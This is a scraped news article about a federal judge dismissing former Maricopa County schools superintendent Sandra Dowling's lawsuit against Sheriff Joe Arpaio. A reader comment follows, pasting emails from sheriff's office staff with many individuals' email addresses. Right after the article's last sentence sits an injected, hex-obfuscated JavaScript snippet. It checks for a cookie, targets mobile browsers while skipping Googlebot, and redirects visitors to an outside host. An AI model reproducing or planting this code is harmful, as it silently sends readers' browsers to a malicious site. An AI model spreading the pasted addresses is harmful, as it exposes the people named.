Home / education / Judge dismisses suit by ex-official against Arpaio

Judge dismisses suit by ex-official against Arpaio

Maricopa County Sheriff Joe Arpaio. (Photo by Evan Wyloge/Arizona Capitol Times)

A federal judge threw out a former school superintendent’s lawsuit against Maricopa County Sheriff Joe Arpaio and other county officials over the sheriff’s criminal investigation that led to a misdemeanor conviction against the school official.

U.S. District Judge James Teilborg said in a ruling Wednesday that there was no evidence that Arpaio acted unreasonably in launching the investigation against Maricopa County Superintendent of Schools Sandra Dowling after her office asked county officials for help in resolving a $3 million deficit in her budget.

Dowling had been embroiled in a battle with other county officials who accused her of financial mismanagement and had sought to put someone else in charge.

She was charged with 25 felonies such as theft, misuse of public money, fraud and conflict of interest related to her operation of a school for homeless children. In the end, she was convicted of one misdemeanor for giving a summer job to her daughter and was sentenced to probation.

Dowling claimed Arpaio must have known there was no probable cause for prosecuting her. Her lawyer argued the sheriff had a practice of conducting politically motivated investigations and some officers in the Dowling case were later part of Arpaio’s anti-public corruption squad that led to unsuccessful investigations against other county officials who were at odds with the sheriff.

She also alleged that some of her political views put her in conflict with the county Board of Supervisors and that board members viewed her budget deficit as an opportunity to oust her.

Her lawyer argued that evidence of a conspiracy to criminally charge Dowling was supported, in part, by a judge’s ruling in another case against a county official that Arpaio had misused his power by targeting county officials for criminal investigation.

Arpaio said there was probable cause to support the charges against the superintendent, while county officials said there was no evidence the supervisors had taken part in the decision to prosecute Dowling.

“This evidence is not sufficient to raise the inference that the board and Sheriff Arpaio entered into a conspiracy to bring criminal charges against Dowling in order to oust her from office,” Teilborg wrote.

Mike Manning, Dowling’s lawyer, said his client will probably appeal portions of the judge’s ruling.

“We win on all counts,” said Jack MacIntyre, a deputy chief for Arpaio.

Separate from Dowling’s lawsuit, a federal grand jury has been investigating Arpaio’s office on criminal abuse-of-power allegations since at least December 2009. That grand jury is examining the investigative work of the sheriff’s anti-public corruption squad.

Arpaio’s office had conducted investigations that resulted in criminal charges against two county supervisors and a judge. Those cases were dismissed after a judge ruled that a prosecutor who is an ally of Arpaio had a conflict of interest in pressing one of the cases.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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One comment

  1. MCSO Lisa Allen open first amendment retaliation. A custom policy procedure….

    This is a threat of retaliation by one of the sheriff’s top media people and another MCSO official. The threat concerns reporting of crime to a law enforcement agency, MCSO. This is an activity protected by the First Amendment. As such, the threat of retaliation for protected activities could be viewed as a crime under federal law. In both instances the threat from Lisa Allen and Spidell indicate the MCSO’s desire to use other county resources to aid in undermining rights protected under the First Amendment. Please alert federal law enforcement.

    18 U.S.C. § 241 (Conspiracy Against RIghts)
    18 U.S.C. § 242 (Deprivation of Right Under Color of Law)

    From: S_Spidell@MCSO.maricopa.gov
    To: jmichaelnelsonwrites@gmail.com; john.vance@surpriseaz.gov; hector.heredia@surpriseaz.gov; diane.arthur@surprise.gov; tara.combs@surpriseaz.gov; travis.ashby@surpriseaz.gov; randy.delagarza@surpriseaz.gov; loren.kelly@surpriseaz.gov; christine.nunez@surpriseaz.gov; hr@surpriseaz.gov; norma.chavez@surpriseaz.gov; ruby.sitea@surpriseaz.gov; mayor@surpriseaz.gov; econdev@surpriseaz.gov; webmaster@surpriseaz.gov; mark.coronado@surpriseaz.gov; skip.hall@surpriseaz.gov; roy.villanueva@surpriseaz.gov; sharon.wolcott@surpriseaz.gov; richard.alton@surpriseaz.gov; john.williams@surpriseaz.gov; mike.woodard@surpriseaz.gov; bbiggs@doylelawgroup.com; MediaRequest@mcso.maricopa.gov; complaints@mcso.maricopa.gov; Information@mcso.maricopa.gov; t_williams@mcso.maricopa.gov; s_gibbs@MCSO.maricopa.gov; sheriffsmediarequests@mcso.maricopa.gov; webteam@mcso.maricopa.gov; I_Thompson@MCSO.maricopa.gov; p_rees@mcso.maricopa.gov; surplus@mcso.maricopa.gov; P_Gray@MCSO.maricopa.gov; kevin.thomas@mcso.maricopa.gov; c_krieger@mcso.maricopa.gov; J_Spurgin@MCSO.maricopa.gov; marian.frank@arizonarepublic.com; christina.leonard@arizonarepublic.com; pat.flannery@arizonarepublic.com; s_huminski@live.com
    Date: Tue, 19 Jul 2011 11:32:13 -0700
    Subject: RE: Scott Huminski

    I have made this request now for the second time. I do not wish to receive any further information concerning this matter. Any futher emails concerning this I will consider it to be harrassment and turn it over to the county attorney for further review.

    From: L_Allen@MCSO.Maricopa.gov
    To: s_huminski@live.com
    Date: Wed, 20 Jul 2011 15:31:51 -0700
    Subject: FW: 9th circuit in CA to hear Case on Arpaio’s corrupt breakfast meetings and Surprise

    Mr Huminski,
    Here is an email from your arch nemesis, Mr. Nelson, indicating that he has never met Sheriff Joe Arpaio nor has had any dealings with him or anyone from this office.
    The entire email string regarding any breakfast between Nelson and Sheriff Arpaio was a total fabrication. Mr Nelson is not involved in the Sheriff’s campaign. All of the references regarding Sheriff’s Arpaio’s connections to him are fabrications.
    Hence we insist you stop harassing us with these emails immediately. Remove anyone with the email address of @mcso.maricopa.gov from your email string. We do not have any interest in your battle with Mr. Nelson. If you do not remove us from these harassing emails, we will pursue a legal remedy.
    This is the e-mail that states that J. Michael Nelson was lying.
    The information contained in this e-mail and any files transmitted with it are confidential and/or privileged, and are intended solely for the use of the recipients listed above. If you are not the intended recipient, you are hereby notified that any dissemination, distribution, or copying of the transmitted information is strictly prohibited. If you have received this transmission in error, please immediately notify the sender and delete and destroy all copies and attachments.

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